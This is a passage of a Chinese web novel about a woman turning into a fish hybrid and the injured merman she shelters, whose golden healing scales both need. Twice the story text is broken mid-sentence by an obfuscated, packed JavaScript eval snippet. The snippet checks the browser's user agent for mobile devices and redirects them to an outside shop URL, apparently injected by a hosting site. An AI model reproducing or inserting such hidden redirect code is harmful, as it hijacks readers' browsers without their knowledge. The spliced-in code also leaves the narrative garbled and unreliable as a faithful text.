研究一番后,祁洄犹豫片刻,就放入口中吞下了。仅仅过了一会,胃部的灼烧感就消失了。结合前几次的经验,这种鳞片应该具有某种疗愈的功效。祁洄又摸向自己脖侧,闭目凝神,两边忽地各自浮出一条银色的竖线,从耳下延伸到锁骨,于黑夜里闪着微光。 “又恢复了些,”祁洄睁眼,眼瞳已变了样,成了淡淡的银白色。这时,房内若有似无地出现一缕酸酸苦苦的气味,然而不到三秒,又骤然断了。 祁洄闭眼又睁开,瞳仁还原成黑色,脖侧的银线也消隐了,“还不够……” 得快点,快点恢复,去找…… 祁洄猛然顿住,按住抽痛的额角,两眼茫然:“……找?找谁?” 尼亚他们?不,不对,可是,还有谁? 他皱眉凝思,在回忆中翻找,却只触碰到一大片虚无的空白,偶尔闪过几个幻影,却来不及捕捉。困惑牵引出莫名的躁郁,仿佛丢失了什么至宝。情急之下,慌忙下床,却未站稳,又重重摔倒在地。 身体的失控带来些许清醒。 指尖屈起,在地板摁得发白。祁洄撑起身体,目光落在空了的药瓶上,眸色渐深。必须,先恢复力量,才有能力去找,不管找谁…… “怎么摔了?”房门被推开。 啪嗒一声,灯光亮起。祁洄转头,是纪安。看到她出现的刹那,心头莫名的焦躁就倏然平息了,很奇怪。祁洄看着她走来,半蹲下,膝盖触地,杵在他身侧,又伸出手来,照例对他翻翻检检,“没伤着吧?” 顿了会,他终于开口:“……没有。” 听到意料之外的回答,纪安睁大了眼,有些惊讶。以往都是她一个人在自言自语,这回他却破天荒地给了回应,而且语气和缓,不再是那种带刺的态度,甚至还有点……乖。 纪安忍不住多看了他两眼,笑说:“真不容易,你终于肯应我了。” 她的高兴如此显而易见,仅仅因为他一句普通的回答。祁洄若有所思地看着她,由她拉起手放到她肩膀上,由她勾住腿弯抱起来,由她搂紧腰身送回床上。 为什么……总是这么体贴…… 究竟在谋划什么…… ……不管存着什么目的,他只需要在此之前,利用她恢复力量,届时就能离开了…… “应该练习走路了,”纪安俯下身,帮他拉好被子,“明天开始,我让小安带你。” 因怀揣着目的,祁洄态度放软,又应了:“……好。” 向来保持戒备的人,终于软化,露出可爱的一面。纪安颇感欣慰,也笑说:“好。” 临走时,脚尖踢到地上的药瓶,弯腰捡起看,里面已经空了,便回头问:“吃了?你又复发了?”看了看时间,皱起眉,续道,“不应该呀,刚刚才吃了一片。” “不舒服,”祁洄观察着她的表情,“所以吃了。” “不舒服?”纪安困惑几秒,又立即明白过来,再次解下香袋,重新装了一枚给他,“怪我没强调,以后只有发作了才能吃金鳞——如果吃熟食很难受的话,我另外给你止痛药。” “……为什么?”祁洄接过,状似无意地问:“……不能吃多些一次性恢复么?” “不行,”纪安回,“因为目前还不清楚该吃多少才能完全恢复,而且,金鳞很宝贵,必须用在关键的时候。”说完,看他一副沉思的模样,以为他在担忧,就又安慰他,“别担心,我会让你好起来的,相信我。” 她表现的如此恳切。祁洄看着她,启唇,言不由衷:“好。” 纪安出去,带上了门。 祁洄清醒地望着天花板。按照现在她“喂食”的速度,想让气味腺彻底恢复,势必要等上许久。他没有时间了。得想个方法,拿到她脖间挂着的那个淡紫色香袋…… *** 第二天,纪安照常前往畸变物管控所工作。近日所内的重点项目是集中处理前段时间从畸变物身上砍下的感染灶,由研究队绞碎分解,提炼出致畸原,再行封存。因提炼过程容易造成信息素泄漏而引发感染,纪安所在的清缴队则负责护卫工作,以防发生不测。 纪安分配的是早班。到下午,又跟赵莉调了班次,替她上完夜班,为的是明天休假。等完成工作,天空已经缀满了繁星。 整理好工作记录,纪安准备离开时,周列就探头探脑地出现在门口,一笑一笑地:“纪安!终于让我等到你了,上回来找你你都不在……” “看管中心有什么事吗?” “没有!”周列不满地咕哝,“我又不是因为工作来找你的。” “那是因为什么?” “当然是私事了!”周列从口袋里摸出两张压得直直的电影票,咧着嘴笑,“最新上映的,听说很好看,明天要不要一起去看——我知道你跟赵莉换班了,明天你休息!” “很不巧,”纪安拿上车钥匙,“明天我有事。” “什么事?”周列不死心,继续问。 纪安出了办公室,站在走廊上,望了望黑沉沉的天,才幽幽回:“……祭拜一个朋友。” “啊……”周列有些愧疚,“抱歉……我不知道。” “没事。”纪安摆摆手离开。 周列目送她远去,失望地叹了口气,将“祭拜”二字记在明天的日期上。 一翻往年的记录,才发觉,纪安每年的这个时候都会请假。看来果然是去祭拜了,不禁嗫喏: “是什么朋友,这么重要?” *** 深夜,纪安开车回家。街道两边,立着高高的路灯,暖黄色的光在地面打出一个个温暖的圆形“牢笼”。“牢笼”一个接着一个,纪安的车,就在这些“牢笼”中穿梭而过。 一路行驶,望见周边的别墅,一幢幢,都亮着暖黄色的光,相聚的人影打在窗帘上,摇摇晃晃,笑笑闹闹。这样的时刻,是她无法拥有的。 不再看,纪安专心打着方向盘,往边郊驶去。慢慢地,路边的别墅变得稀疏、零落,最后变成一片片高大的树林。她的住宅偏僻,远离人群,一如她本人。 往前走,纪安的车渐渐慢了下来。她经过了海边——正是前阵子出现畸变物的海域。这片海极大,像沉睡的巨兽,微眯着眼,危险地盯着岸边缓缓驶过的车子。无论纪安开走多远,都在它的视线之内。 纪安就在它的“注视”下,抵达自己的家。将到家门口时,却忽然刹住了车,神情有些怔愣。 她的房子里,也亮着暖黄色的光。在一楼的起居室,透过玻璃窗,能看到祁洄扶着安装在墙壁上的横杆,缓慢、生疏地来回走着。他在练习走路。 无声地凝望了半晌,纪安突然抬手,按下了喇叭。 车子鸣了一声。 声音引来房内人的注意。祁洄循着声音望来,就与车内的纪安对上了视线。 “……感觉还不错。” 纪安笑着,喃喃自语,心中的郁结一扫而空。随后开了院门,驱车而进。照旧是小安立在玄关处,说着她设定好的对白:“姐姐,欢迎回家,我一直在等你。” 只不过这回,在小安背后,多 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思索着,忽的膝盖被按住屈了一下,祁洄身体一倾,往前栽倒,却跌进一个安全的怀抱。耳边是熟悉的声音:“抱歉,我没控制好力道。” “姐姐,准备好了。”小安适时插入对话。它捧来一束薰衣草,修剪整齐,包装精美,“要出发了吗?” 扶稳祁洄,纪安看了眼时间,点头,“走吧。” “要跟我一起么?”纪安问祁洄,“不远,就在房后。试试能不能走过去。” 她的提议向来只有遵循的份。 于是,祁洄第一次走出了这栋房子。纪安依旧扶着他的手臂,小步陪着,领着他往前走。小安推着轮椅缀在后边,准备等祁洄走累了给他坐。这段路虽然不远,但为了照顾祁洄的速度,他们也走了有些时候。 纪安不嫌累赘,侧着头,时刻关注祁洄的状态,“慢慢来,累了就说。” 根据小安的报告,他练习了一天。起初走两步就摔,但他还是闷声不吭地坚持了下来,到实在痛得厉害的时候,才会稍微停下缓缓,过后又继续练习。看得出来,他迫切地想要恢复正常。 “你进步很大,”纪安说,“走得有模有样了,而且也不会像袋鼠一样跳着……” 说到一半,纪安就止住了话,面露疑惑。像袋鼠一样跳着走?脑海里,忽然闪过一个模糊的背影,小小个,并拢着腿,一蹦一蹦地。是谁?以前认识的人?想着,摸出手机,将这突然涌现的画面记录下来。 手机里记了很多条,她在寻找自己的过去。 “……总之,”纪安续上话头,“你很快就能恢复正常,过上人类应该有的正常生活。” 她果然当我是同类。祁洄想。 “快到了。” 穿过林荫小道,出现在眼前的是一望无际的大海。黑黝黝的,只中间留着一道银光闪闪的痕迹,是天上的月亮投在海面的倒影,破碎,闪耀。 祁洄停住脚,怔愣地看着面前的景象。是水,漫无边际的水,汇聚着,涌动着,带着家乡的幻影,深情地,将他召唤。不由自主地,祁洄又往前走,走了几步,就被纪安拉住了。 “不能再往前了,危险。”纪安说。 海水朝海滩奔涌而来,又迅速地褪去,仿佛是一个既渴望靠近,又害怕靠近的情人。 纪安拉着祁洄站在潮线之外。涌来的海水在碰上他们的鞋尖之前,就又退走。他们干干净净的,没被溅上一滴水珠。 弯腰,趁着落潮,纪安将花束放在海滩上。海水又一次涌来,携着薰衣草褪去。淡紫色的花漂浮在海面上,起起伏伏、飘飘荡荡,去往远方。 “暄暄,替我活下去。” 久远的呼喊又在耳边回响。 纪安眸色渐暗,望着海面出神。 祁洄敏锐地察觉到,那种落寞的情绪,又在她的身上出现了。这次停留得有些久。 过了会,纪安转过头,望着他:“当初看到你,我还以为是他回来了。” 8. 第8章-大改 只说了这句话,纪安又转回去,盯着沉沉的大海发呆,没有再要解释的意思。 祁洄琢磨着她的话,模模糊糊猜到一些。也就是说,气味腺失控那天,她突然出现在船上,对他动手动脚的时候,是把他当做别人了。 所以才带他回来? 这样似乎更能解释她的行为。 可是…… 祁洄看向她:“发现不是,很失望?” 没料到他会接话,纪安顿了下,不禁笑了笑,坦白说:“是有一些。” “那还带我走?” “这两者之间没有关联。”纪安说,“不管你是不是他,我都会带你走的。” “为什么?”他执着于这个答案。 “没有为什么,”纪安有些不理解,“当时你的状态很差,要是被其他人发现,会引来麻烦的。我怎么能眼睁睁看你再落难呢?” 照这样说,她果然是在救他? 人类有这么好心? 祁洄暗自嗤笑,保持了缄默。 在海边驻留了好一会,直到祁洄站不住了,纪安才打算回去,唤来小安,扶着祁洄坐上轮椅,就推着他原路返回。 祁洄回望,那束薰衣草已经随着海水不知去向了。她大晚上的跑到这里来,就是为了扔一束花?她的行为总是令人费解。不过,这与他无关。 回去的路上,祁洄留心记着路边的标识。等恢复了力量,他就能通过这片海离开。 只是,该怎么拿到鳞片? 思绪又回到最初的难题。祁洄侧头,悄然打量着纪安。她长得高大——和她的同类比起来的话。又回想起前几次被控制的时候,能明显感觉到她的强悍。以他现在的状态,估计不能从她身上抢得金鳞……得另想办法。 到了院门口,纪安去开门,祁洄就自己下了轮椅。尽管走路又累又疼,但他更不喜欢被掌控方向的感觉。看他还能保持平衡,纪安也就随他去了。 进了院子,纪安脚步一顿,目光瞬凛,这里萦绕着一股陌生又熟悉的酒味。 几乎同时,祁洄也察觉到,立马条件反射地皱起眉,正循着气味搜索,忽然纪安抢先一步过来,拉住他的手臂就扯到怀里,再迅速后退。 祁洄堪堪站稳,就听得“嘭”一声,原先他站着的位置,从矮树上摔落一个醉汉,捏在他手里的酒瓶也应声而裂,碎片四射,酒浆横流。 “姐姐,陌生人。”小安急问,“要怎么处理?” “不急。”纪安搂紧祁洄,使他不致摔倒,目光则在醉汉身上来回扫过,满脸横肉,面色通红,鼻息粗大,倒是还活着。接着抬抬下巴,示意倒地的人,问祁洄:“认识吗?” 祁洄摇头,注意力却在地面横流的酒浆。令人憎恶的浆液,顺着沟壑,一路淌过来,将到脚边。便推了推纪安,要从她怀里挣脱,“我能站稳。” 纪安确认后,就松开手。 祁洄退后几步,不动声色地避开了酒浆。 “姐姐,”小安调出监控视频,只见画面中,这个醉汉醉醺醺地东倒西歪,到纪安院门口时,停留看了几眼,就借着墙边的银杏树翻了进来,大概酒劲上来了,就趴在树上睡了,“不知道他想干什么……” “嘶——” 这时,醉汉有了动静。翻身抓了抓后脑勺,带着满身臭烘烘的酒气,颤巍巍地爬起来。他还不大清醒,抬头看到身前,站着一男一女,都有几分姿色,就咧开一口黄牙,猥琐地笑着:“……陪爷喝一杯。” “喝你个头!”小安不知道什么时候学的脏话,也不知道什么时候拿出个扫把,抡着就往醉汉脸上怼,狠狠扇了好几下,像扫垃圾那样,再回头请示纪安,“姐姐,把他丢出去吧。” 纪安摆摆手,小安就退开,离开前又狠狠扇了最后一下,直把他抡得眼冒金星,怒不可遏。 “敢打你爷爷——啊!”醉汉气极,一把抓住扫把,就要把小安扯回来,却忽然惨嚎一嗓子,是纪安踩住他的手,稍稍用力,碾了碾。 “你是谁?”纪安居高临下地俯视着他,“来这里做什么?” 本来还气得面红筋涨的人,一看到纪安的脸,气也消了,疼也忘了,只顾着扯出□□的笑:“我来和你快活……” 只是一个无赖。 纪安松口气,皮笑肉不笑地盯着他,紧接着小安就勺来一大把新鲜的花肥,粗暴地灌进醉汉那张臭嘴,再拍了拍压实。最后纪安拉起呜咽着挣扎的人,一脚踹出门外。 没多久,警察就来把人拉走了。 祁洄看完全程,再一次确定,生抢是行不通的。 院子内一片狼藉。纪安蹲下,捡了块碎玻璃,闻了闻,总觉得这股酒味有些熟悉。略想了想,忽然记起,和祁洄初遇那天,在船舱里的就是这种味道。 再看玻璃,上面印着“玻郎酒,洪氏酒业”。 “姐姐,这里我来清理就好了。”小安过来提醒,“时间快到了。” “知道了。”纪安起身,示意祁洄跟她进去,“很晚了,你该休息了。” 送他回房,纪安又吩咐:“明天我有事,你在家要乖乖听小安的话。” *** 回到自己房间,刚锁上门,纪安的脸皮就忽地被刺穿,绽开一个口子。她没管,径直到书桌边,调出洪氏酒业的相关资料,浏览起来。 洪氏酒业创立至今已有百年历史。现任接班者是洪英、洪雄两兄弟。 洪英五十六岁,洪雄五十四岁,目前已挤身全球富豪榜前十。在两兄弟接手之前,洪氏酒业的主要产品便是玻郎酒,价格亲民,走薄利多销路线。后来在其他酒业的冲击下,玻郎酒销量一路下跌。洪氏酒业面临破产危机。 2308年,洪英、洪雄两兄弟推出一款新品酒——回生液,据说是根据玻郎酒进行的改良版本。这款酒香醇浓郁,沁人心脾,喝一口便觉神清气爽,精神百倍,如回少年。凭着优质口感和独特功效,回生液很快打出了名声,挽回将颓的洪氏酒业。 “2308……”纪安眼神微变。2308年,正是沈念安、祁暄、祁红琴三人的失踪时间,“是巧合么?” 想着,纪安再次翻开祁家母女的资料。目光在两人的照片上流连。祁暄笑得开朗,眉眼弯弯,像两道月牙;祁红琴就端庄许多,轻笑着,看着很和蔼。 祁红琴单身生育,与独女祁暄住在新北市边郊的红阳村79号,即是首先出现畸变物的那个小渔村。 两人失踪后没几年,79号屋被拍卖。目前的屋主是金喻恩小姐。这也是纪安曾经调查金喻恩的缘故。 “2308年,究竟发生了什么事……” 纪安思索着,便打开洪氏酒业的商城,搜索回生液。跳出来的页面却是空白,再一看,回生液是限量发售,并且只提供给上层人士。普通人并没有途径可以接触到。暂时没办法,纪安就订了一批玻郎酒。 “铛——铛——” 老式时钟开始敲响,已是半夜十二点整。 半边脸皮已被冒出的鳞片刺穿得面目全非,纪安索性抬手揭下,露出底下怪异的脸庞。 左半张脸,遍布鳞片状的癍淤,层层叠叠,接着硬化,长出尖锐的黑色鳞片;右半张脸则完好无损,依旧是人类的模样,并且与童年的祁暄有八分相像。缺失的两分,在于表情。祁暄热情开朗,而纪安却是愀然无乐。 她坐在椅子上,冷静地看着身体的变化。 双腿渐渐并拢,炸开的鳞片如同锋利的刀剑,割裂了包裹的裤子,两腿间的皮肤黏住,合二为一,形成一条黑色的丑陋鱼尾。但她的尾巴不像祁洄那么完整,右下部分还残留着人腿的模样,看上去更像是人与鱼的嵌合体。 “……对比一下,他的尾巴还是能看的。” 纪安轻轻笑了一声。当变化稳定下来后,没多久,身上的鳞片就开始发红发烫,她眉头紧锁,拳头握紧,却犹在苦中作乐:“……有点像炒锅里滋滋作响的红烧鱼,怪亲切的……” 身体的高温持续了一阵子,鳞片就渐渐变软。纪安稍微挪了下尾巴,蹭到的鳞片就脱落下来。慢慢地,鳞片依次脱落,最终变成光秃秃红通通一条。 鳞片脱完后,便重新生长。 这是她每年都会经历的一个时期。她将之命名为褪鳞期。每过一个褪鳞期,便能明显感觉到异化在加重,她变得不像人类了。只有服下金鳞,才能找回一点人类的理智。 纪安摸出压在心口的香袋,指尖在绣线上摩挲着。怔怔地望了半晌,才打开,取出一枚,放入口中。 鳞片入肚,立即反映在身上。犹在重新长鳞的鱼尾忽地裂开,分成了两半,恢复成人类的双腿,然而还没恢复到一半,又开始黏连成一体,覆上鳞片。 仿佛是两股不同的力量在来回拉扯,不停争夺着身体的控制权。 疼痛再次席卷而来。纪安下意识又打开香袋,正要倒出时,不知想起了什么,临时改了主意,只将香袋紧紧地拽在掌中。 意识被痛感搅碎,世界天旋地转,恍惚间,似乎又回到了以前。 黑暗逼仄的空间,圈养家畜的铁笼。头顶的窗口打开,刺眼的白光,携着滚烫的黑色粘液,一同倾泻而下,洞烧她的躯体,吞噬她的自由。 “……暄暄……给你……” 模糊的视界,隔壁的铁笼,一个瘦弱的身影,明明与她一样备受折磨,却不顾自身,仍将救命的金鳞送给她…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14150108|150292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我们会出去的,会出去的……” *** 次日,祁洄醒来。走出房门,就看到小安守在对面门口,挂着忧心忡忡的表情。看到他时,小安低声说:“先生,早餐已经准备好了,记得吃。” 看了房门两眼,祁洄下楼,楼下没有纪安的身影。院子里还停着她的车。她没有出门。看来还在房间里。 草草用了餐,又走了好一会的路,楼上依旧安安静静的,她没有要出来的迹象。祁洄在楼梯口徘徊,一会后,就踏上楼梯,一步一步上去。小安已经走开了,门口没人。他一路过去,注视着纪安的房门。 忽地,鼻尖微动,他捕捉到空气中一丝淡淡的气味,要再深究时,又杳然飘散。 “同类的气息……” “姐姐很忙,不要去打扰她。”小安突然出现在祁洄身后,关注着他的一举一动。 祁洄最后望了眼房门,就回去自己房间。 一连三天,纪安都把自己关在房间里。祁洄在廊道里来来回回地走,也没再闻到那天的气味。 到了第三天下午,祁洄在房内,终于听到对面扭开门把的声音。想了会,下床,扶着墙壁就慢慢走出去了。 一开门,正好看见纪安。 三天未见,她却好像消瘦了很多,望来的眼睛也透着疲惫,却笑着:“迎接我吗?” 祁洄默默看她。 “小安,我想吃烤鱼了。”纪安转而朝下面喊,同时下楼。也许是没看清路,她突然脚一崴,一个踉跄,差点踩空,幸好及时抓住扶手,不至于摔下去。 她似乎变得虚弱了。祁洄注视着她。 小安应了声,着手去准备。纪安回头,看祁洄一步一步地走下楼梯,赞扬道:“你进步很快,现在走得像模像样了——饿了没,要不要跟我一块吃?” 说起这件事,纪安又扭头去问小安:“他这几天吃饭怎么样?有没有听话吃点熟食?” 小安老早就想告状了,一股脑都说了:“你不在的时候他就不吃,有时候趁我没看见把食物倒进垃圾桶了,有好几次。” “冤枉你了?”纪安看向祁洄。 祁洄不语。 纪安挑眉,敲敲椅子,说:“坐下。” “再准备多一份。” “知道了。” 当热腾腾的烤鱼端上桌后,纪安与祁洄对坐而食。 他这回倒是听话,老老实实一口生食,一口熟食,没有做多余的反抗。 小安看着祁洄的表现,再与之前的作对比,有些不爽地哼了声,插嘴说:“没有你盯着,他才不会这么听话呢——他就是在你面前做做样子!” “是小安说的这样吗?”纪安笑问,“看来你是想要我时刻盯着你了。” 祁洄无视她的调侃,只留心观察她。今天的她确实和以往不同,她低头扒拉着自己的饭,翻来翻去,半天没吃一口。她很少这样做,看上去兴致缺缺。 “我做差了吗,姐姐?”小安也注意到。 “没有。”纪安笑笑,夹起一筷子放进口中,脸部却立即僵了一下。过了会,她才开始咀嚼,不像以前那样细嚼慢咽,只是粗粗嚼了两三下就吞下去了。拿纸巾揩了揩嘴,“味道没变,还是一样好。” 话虽如此,纪安吃饭的速度还是慢了下来,隔一会才吃一口。更多时候,则是看着祁洄吃,看着他面前那盘犹带血丝的生鱼。她盯着生鱼,拿它下饭。但看着看着,视线的主体就发生了变化,转向了祁洄。 她看向他的嘴巴。他总是小口小口地吃,动作慢悠悠的,很优雅。他的唇是艳丽的嫣红色,唇瓣不薄不厚,中间点着小巧的唇珠,一张一合间,都带着恰到好处的美。 灼人的目光如影相随,像虎视眈眈的猎人在盯梢猎物。努力无视了好一阵子,祁洄终于忍不住,抬头淡淡地扫了纪安一眼:“看什么?” 小动作被发现,纪安倒是不显窘促,戳了两下饭,坦诚地回答:“你的嘴巴很好看,看着有食欲。” 听罢,祁洄明显一愣,紧接着,眸中就带上了浓浓的愠色,唇瓣微张,像是要说点什么,但又闭上,只重重搁下筷子,带着显而易见的低气压,起身就走,留给纪安一个渐远的背影。 “……” 纪安难得反应迟钝:“这是,生气了?” “是的。”小安分析着祁洄的情绪,给了主人确切的回答。 纪安失笑,继续低头吃饭。脑海里回想的,却是方才他生气睨来的样子,有错愕,有不敢置信,似乎还有点羞恼。他的情绪一下子丰富起来,不再是单一的沉默戒备,这使得他整个人都瞬间“鲜活”了。 “让他露出更多的情绪,应该会很有趣。” 9. 第9章-新增 祁洄走开不久,纪安草草用完餐,就问起订酒的事。小安指了指储物间回答:“昨天就到了,我都放在柜子里——姐姐你要喝吗?” “不用。”纪安拿起子开了一瓶,嗅闻片刻,确定是在船舱里闻到的那股气味。 这些酒与这场事故存在着关联么?想起祁洄,他呆在那艘船上,也许知道些什么。 “对了,姐姐,”小安说起别的事,“昨天花店的沈老板也来过。她说好几天没看到姐姐经过,以为你出了事,就过来找你。我说姐姐好好的,只是有事外出了,应该今天回来……” “好,”纪安提了酒上楼,又停下吩咐,“要是沈阿姨来了记得叫我。”以纪安对她的了解,她应该还会再上门,不亲眼确认她是不会放心的。 “知道了。” 祁洄的房门是关着的,但没锁。就算锁了纪安也能进去。出于礼貌,以及,刚把人惹怒的歉疚,纪安没有直接闯入,而是选择敲门,诚恳地询问,“我能进去吗?” 里面没有回应。 又敲了两下,还是没有回应。 “不说话我就当答应了。”纪安轻笑,在门口等了会,就扭开门,“我进来了。” 祁洄坐在窗边的沙发上,早已习惯了她的私闯,斜眸瞥了她一眼,眼神里还带着方才的愠色,显然还没气消。 “你生气了?” 明知故问。 纪安提着酒过去,弯下腰,与他面对面,琢磨着他的表情。靠得太近,祁洄退后,抵住了椅背,谁知跟前的人也跟着凑过来,忍无可忍,就送去一道恼怒的眼风。 果真生气了。纪安按了按太阳穴,有些费解,不太明白他生气的点,张了张嘴,组织语言试图解释,“我没有别的意思,我是……我是在夸你……” 说着目光又落在他的唇上,“因为真的好看。” 话音方落,就见祁洄抿起唇,脸色更难看了。 纪安立马自觉掐断话题,生硬地转了个弯。她晃了晃手中的酒瓶,拔掉瓶塞,放到他跟前:“你对这个有印象吗——那艘船上都是这股味。” 再熟悉不过的气味直冲脑门,令人晕眩。祁洄条件反射地屏住呼吸,眉头皱起,当意识到时,又努力舒展开,他不能在她面前表露出过多的反应。 他推开挡在面前的酒瓶:“不知道。” “和关你这件事没有关系?”纪安追问。 见她没有要退开的意思,祁洄扶着把手站起,拨开纪安,从她身侧走开了:“不知道。” 纪安跟着他,看他没什么变化的表情,也算意料之中。他对过去的事一问三不知,本来也不奢望能从他嘴里获得什么消息。 “我要睡了,你出去。”祁洄下起逐客令。 纪安有些哑然,看了眼窗外,太阳还在落山途中。无论怎么看都不是睡觉的时间。他单纯是在找借口要赶走她罢了。竟然气到这种程度。 无奈地笑了下,纪安抱臂看他,转回原先的话题:“你到底在生气什么?” “我只是描述了下客观事实。”纪安慢悠悠跟在他旁边,“既没有说你坏话,也没有唐突你——”顿了下,似乎意识到什么,侧头看他,“……这算唐突吗?” 她含笑,却又疑惑,使他一时分不清,究竟是真不懂,还是故意的。 “看着很有食欲,但我没有真的要吃……” “出去!” 她是故意的。 如愿使他露出羞怒的表情,纪安意外的有些愉悦,摸摸鼻子,在他的瞪视下,笑笑,往门外走,“好,好,这就出去。” 游刃有余的样子,好似能将他玩弄于股掌。哼,不知廉耻的人类。祁洄气得深吸口气,却灌进一大口充斥在房内的酒气,脚下一软,支撑不住倒地的瞬间,余光里,离开的人忽又回转,焦急赶来。 “又复发了。” 纪安随手搁下酒瓶,将倒地的人翻过来,他的伤口又裂开,血液淌出,洇湿了地毯。 这些伤怎么总是反反复复的? 纪安皱眉,取出金鳞喂他,将到嘴边时,他费力伸手来,挡住了。被汗水濡湿的睫毛轻颤,虚晃的眼眸勉强维持着一点清明,他戒备地睨了纪安一眼,接过金鳞,自己吃下了。显然不要她喂。 不觉有些好笑,这种时候,还不忘防备她。 她看上去很危险么? 纪安轻笑着叹口气,守在身侧,等他恢复。但很快发现不对劲,前几次基本一吃下金鳞就见效了,可这回过了有一会了,他的伤口仍绽开着,只是血流的速度稍缓,鱼尾也还在,还没恢复过来。 笑容敛住,纪安抬起他下巴,趁他虚弱着,迫他开口,左右探看,检查着口腔:“吞下去没?” “嗯……” 不知是回应,还是反抗,祁洄难受地打上她的手,眼睛眯起,像在无声地警告着面前动手动脚的人。 “怎么效果变差了……”确认他吃了后,纪安不解,又看祁洄疼得面色煞白,神情恍惚,忙取出第二枚,先给他喂进去再说。 猝不及防,祁洄没防备住,她的手指已经进来了。两眼微睁,一时愣住,有些反应不及。 完成任务,纪安本想抽指出去,但看到他突然呆怔的模样,也跟着怔了下,原本没留意过的感觉,一时之间,都隔着指套,细细密密地爬向她的心口。 温热、柔软、湿润…… 痒痒的,又麻麻的…… 目光在他张开的、嫣红的双唇上流连,鬼使神差地,纪安忽地在他口内轻搅一下,按住他的舌尖。 还要进一步时,就是一阵尖锐的痛。 纪安皱眉吸气,再看祁洄,已经被她超过的行为激得清醒过来,正死死咬住了她。 猜测在此刻都成为了确认。祁洄羞愤至极,回想初见之时,以及后来几次借喂药之由,还有现下对他肆意的举止,都在在显露她的目的—— 她对他,有不轨之心。 难道,她带他回来,是要…… 想着,越发恼怒,不管不顾,更用力地咬住,眉毛微挑,抬眸瞪她。明明该是泄恨的表情,但却意外的有种挑衅、引诱的味道。纪安浑然忘了疼,勾起还能活动的指节,在他上颚轻轻挠了下。 “唔——” 他登时身体一抖,鱼尾也颤了下。眼眶红,脸颊红,唇瓣也红,像熟透的、淌汁的蜜桃。纪安失神地看着,忽然有点口渴。 突然的失态使他恼羞成怒,吐掉口中作乱的手指,祁洄咬唇,挥手就朝她打去。大致觉得理亏,纪安没还手,由他攻击。只是他的伤势还在修复当中,因他激烈的动作,反而有了加重的迹象。 为免他伤到自己,纪安只得适度压制住他:“小心点,伤口又出血了。” 假惺惺。 祁洄挣扎更甚,只觉已看破她的意图。必须离开。下了决定,出手就朝她脖领去,要夺她的香袋。纪安担心他的伤口,也时时拦着他。 双方拉扯间,不知是谁的手肘碰到了旁边的酒瓶,它歪歪扭扭站立不稳,忽地倾倒,溅出了酒浆,有几滴飞到了纪安唇边。 遭了。 电光火石之际,听得布料被撕开的声音,接着,纪安动作迅速,绕了几圈,蒙住了祁洄的眼睛。 “你——做什么!” 视野被遮挡,祁洄一惊,忙伸手去扯面上的布,还未触及,双手又被抓住,被反手绑在了背后。 “冷静点,”黑暗中,她的声音响起,“我不会对你怎么样,等会就给你松开。” “松开!现在!” 他才不信她的话。 “姐姐,”小安的声音在门外传来,“沈阿姨来了。” 静了一瞬,才听得她的声音:“知道了,你去招待她,我很快下去。” 有什么东西缠上他的尾巴。祁洄皱眉,挣了下,只知道她又一圈一圈给他绕上,最后和什么东西绑在一起,他挣不开。 “松——唔!”后面的话被堵在喉头。祁洄涨红脸,她竟然用一团布塞住他的嘴! “只能先委屈你一下,”她的声音渐低,应该是走远了,“我待会就来给你松开。”说完就是门关上的啪嗒声。 她竟然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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刚刚走得急,没意识到把人绑成什么样了。他倒在毯子上,双手被反缚,眼睛蒙上,嘴里也塞着布团,绑在下身的布条倒是松松垮垮的,他的腿变回来了,只是因脚踝和床脚绑在一起,也不得脱身。 也许因为愤怒,他微喘着气,加上破破烂烂的衣服——被纪安撕掉拿去绑他了。总而言之,乱七八糟的,乍然一看,仿佛遭受了什么惨无人道的凌虐。 有些心虚。纪安忙过去,摘下他眼睛上的布条,意料之中,他一双美目立即带着怒火瞪向她;装作没看见,再取下他口中的布团,本以为会听到他的控诉,但他什么也没说,只咬住下唇,嘴角有些红,被撑的。 “我不是故意要这么做的,”纪安一面给他松绑,一面模糊掉部分原因,跟他解释,“沈阿姨来了,你那副样子不能被人看见,而且你当时情绪又不稳,没办法,我只能先控制住你……” 说着,留意着他的情绪。他低头,揉着红了的手腕,好一会,才微微抬眼,“你为什么要带我回来?” “?” 他的关注点好像和她不在同一频道内,而且,没记错的话,这个问题似乎也问过了。 “我不是说过吗?”纪安说,“你受伤了,我得……” “你要从我身上得到什么?”祁洄打断她,他不信那套说辞。人类,怎么可能单纯救他,而没有所图。 纪安愣了会,此刻才明白他一直以来的戒备是为什么。他不信任她,以为她别有所图。 “我没想得到什么,”纪安说,看他仍是不相信的表情,又起了调侃的念头,将他上下打量了一遍,再笑吟吟看向他,“再说了,你有什么能给我吗?” 感受到她不怀好意的视线,祁洄黑下脸,斩钉截铁:“没有!” “哈——”纪安笑起来。 祁洄一怔,她时常都是微笑,浅笑,很少这样开怀大笑。看着她,手指蜷了蜷,心口忽地发涩,莫名觉得她这副样子,有些熟悉,有些久违。 “那我只能做亏本买卖了。” 纪安笑望着他,佯做可惜。 10. 第10章-已修 凭目前的武力夺取金鳞这一计策,经过实践证明,果然是行不通的。祁洄不得不搁置一旁,暂时留在纪安身边,一面受她照顾,一面另寻他策。尽管,他对她的意图,已有了模糊的确认。 不知不觉,已经过了整整一个月。前些天,祁洄收到一份受检通知,是管控所观察中心发来的,要他前往复查。所有本次船难中的接触者都一样。这是历来的流程。 纪安要上班,顺路,就带他一起。扣上安全带,临出发前,又问了遍:“药带着吧?” 祁洄坐在副驾驶位,摊开手里的药瓶给她看,里面装着的是一枚金鳞,给他预防不测的。 